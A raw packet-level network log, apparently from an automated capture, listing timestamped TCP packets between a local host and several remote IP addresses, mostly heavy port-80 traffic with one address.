Nov 25, 2024 18:28:37.713455915 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.713490009 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.713512897 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.713639021 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.713684082 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.713757992 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.713799000 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.714682102 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.714726925 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.714839935 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.714932919 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.715599060 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.715647936 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.715698004 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.716346025 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.716366053 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.716406107 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.716430902 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.717271090 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.717345953 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.717463970 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.717514038 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.718260050 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.718312979 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.718717098 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.718772888 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.719244957 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.719294071 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.719444990 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.719541073 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.720217943 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.720267057 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.720556021 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.720742941 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.721185923 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.721237898 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.722208977 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.722219944 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.722229958 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.722276926 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.723133087 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.723190069 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.723731041 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.723845959 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.724126101 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.724204063 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.724637032 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.724685907 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.725131989 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.725184917 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.725575924 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.725673914 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.726054907 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.726164103 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.726298094 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.726346970 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.726536989 CET	49804	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:37.727046013 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.727097988 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.727392912 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.727438927 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.728116035 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.728166103 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.728394032 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.728456020 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.729032040 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.729051113 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.729096889 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.730079889 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.730137110 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.730186939 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.730957985 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.731007099 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.731211901 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.731416941 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.731972933 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.732027054 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.732346058 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.732397079 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.732922077 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.732933998 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.732969999 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.732980013 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.733875036 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.733938932 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.734880924 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.734894991 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.734906912 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.734927893 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.734940052 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.735871077 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.735928059 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.736339092 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.736396074 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.736829996 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.736880064 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.737178087 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.737227917 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.737812996 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.737824917 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.737859011 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.738750935 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.738845110 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.739598989 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.739643097 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.739782095 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.739794016 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.739831924 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.739860058 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.740695000 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.740751982 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.741703033 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.741719007 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.741730928 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.741776943 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.742683887 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.742733955 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.743655920 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.743666887 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.743680000 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.743693113 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.743714094 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.744813919 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.744940042 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.744997025 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.745182037 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.745526075 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.745646954 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.745695114 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.745935917 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.745980978 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.746603012 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.746651888 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.746757984 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.746805906 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.747538090 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.747589111 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.747745037 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.747797012 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.748577118 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.748625040 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.748789072 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.748833895 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.749541044 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.749589920 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.749663115 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.749705076 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.750449896 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.750503063 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.750853062 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.750900030 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.751456022 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.751497984 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.751666069 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.751705885 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.752412081 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.752454996 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.752655029 CET	49803	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:37.752660990 CET	443	49803	172.64.41.3	192.168.2.5
Nov 25, 2024 18:28:37.753146887 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.753268003 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.753386021 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.753485918 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.753509045 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.753559113 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.754365921 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.754498005 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.754542112 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.755346060 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.755388021 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.755687952 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.755762100 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.756387949 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.756401062 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.756432056 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.756445885 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.757317066 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.757359982 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.757380962 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.757421017 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.758277893 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.758325100 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.759325027 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.759335995 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.759346962 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.759366989 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.759383917 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.760286093 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.760338068 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.760988951 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.761035919 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.761221886 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.761265993 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.762276888 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.762332916 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.762350082 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.762358904 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.762372971 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.762387991 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.763288021 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.763339043 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.763495922 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.763544083 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.764297962 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:37.764347076 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.792330980 CET	49803	443	192.168.2.5	172.64.41.3
Nov 25, 2024 18:28:37.813158035 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:37.899149895 CET	49823	443	192.168.2.5	23.44.203.80
Nov 25, 2024 18:28:37.899199009 CET	443	49823	23.44.203.80	192.168.2.5
Nov 25, 2024 18:28:37.899266958 CET	49823	443	192.168.2.5	23.44.203.80
Nov 25, 2024 18:28:37.899842978 CET	49823	443	192.168.2.5	23.44.203.80
Nov 25, 2024 18:28:37.899857998 CET	443	49823	23.44.203.80	192.168.2.5
Nov 25, 2024 18:28:37.900810003 CET	49824	443	192.168.2.5	18.238.49.74
Nov 25, 2024 18:28:37.900850058 CET	443	49824	18.238.49.74	192.168.2.5
Nov 25, 2024 18:28:37.900968075 CET	49824	443	192.168.2.5	18.238.49.74
Nov 25, 2024 18:28:37.901196003 CET	49824	443	192.168.2.5	18.238.49.74
Nov 25, 2024 18:28:37.901211977 CET	443	49824	18.238.49.74	192.168.2.5
Nov 25, 2024 18:28:37.905090094 CET	49825	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:37.905121088 CET	443	49825	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:37.905225039 CET	49825	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:37.905603886 CET	49825	443	192.168.2.5	104.117.182.59
Nov 25, 2024 18:28:37.905617952 CET	443	49825	104.117.182.59	192.168.2.5
Nov 25, 2024 18:28:37.935568094 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.119147062 CET	443	49773	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:38.119174004 CET	443	49773	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:38.119189024 CET	443	49773	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:38.119232893 CET	49773	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:38.119262934 CET	443	49773	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:38.119275093 CET	49773	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:38.119328022 CET	49773	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:38.119334936 CET	443	49773	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:38.119354010 CET	443	49773	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:38.119425058 CET	49773	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:38.120718002 CET	49773	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:38.120732069 CET	443	49773	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:38.120742083 CET	49773	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:38.120747089 CET	443	49773	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:38.239964008 CET	49826	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:38.240010023 CET	443	49826	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:38.240145922 CET	49826	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:38.240294933 CET	49826	443	192.168.2.5	20.190.181.4
Nov 25, 2024 18:28:38.240310907 CET	443	49826	20.190.181.4	192.168.2.5
Nov 25, 2024 18:28:38.274405003 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.274511099 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.274540901 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.274808884 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.274926901 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.275089979 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.275120020 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.275294065 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.275892019 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.275969028 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.276128054 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.276856899 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.277142048 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.277504921 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.277580023 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.277944088 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.278043985 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.278799057 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.278810024 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.278822899 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.278955936 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.279747963 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.279825926 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.280034065 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.280097008 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.280738115 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.280895948 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.280989885 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.281115055 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.281733036 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.281888008 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.281924963 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.282049894 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.282718897 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.282776117 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.282805920 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.283009052 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.283655882 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.283740997 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.283749104 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.283849955 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.284625053 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.284749985 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.285432100 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.285577059 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.285619974 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.285629988 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.285767078 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.286669016 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.286776066 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.286905050 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.287012100 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.287600994 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.287614107 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.288058043 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.288661003 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.288765907 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.288851023 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.289359093 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.289840937 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.289854050 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.290585041 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.290699959 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.291131020 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.291486025 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.291629076 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.291744947 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.291834116 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.291934013 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.292685032 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.293828011 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.293839931 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.293850899 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.293951035 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.293951035 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.294507980 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.294799089 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.294887066 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.295834064 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.295993090 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.296123028 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.296601057 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.296705961 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.296875954 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.296969891 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.297739029 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.298135996 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.298163891 CET	80	49761	185.215.113.206	192.168.2.5
Nov 25, 2024 18:28:38.298476934 CET	49761	80	192.168.2.5	185.215.113.206
Nov 25, 2024 18:28:38.373666048 CET	443	49815	23.44.133.41	192.168.2.5
Nov 25, 2024 18:28:38.374017000 CET	49815	443	192.168.2.5	23.44.133.41
Nov 25, 2024 18:28:38.374034882 CET	443	49815	23.44.133.41	192.168.2.5
Nov 25, 2024 18:28:38.375104904 CET	443	49815	23.44.133.41	192.168.2.5
Nov 25, 2024 18:28:38.375268936 CET	49815	443	192.168.2.5	23.44.133.41
Nov 25, 2024 18:28:38.376333952 CET	49815	443	192.168.2.5	23.44.133.41
Nov 25, 2024 18:28:38.376400948 CET	443	49815	23.44.133.41	192.168.2.5
Nov 25, 2024 18:28:38.380321026 CET	49815	443	192.168.2.5	23.44.133.41
Nov 25, 2024 18:28:38.380330086 CET	443	49815	23.44.133.41	192.168.2.5
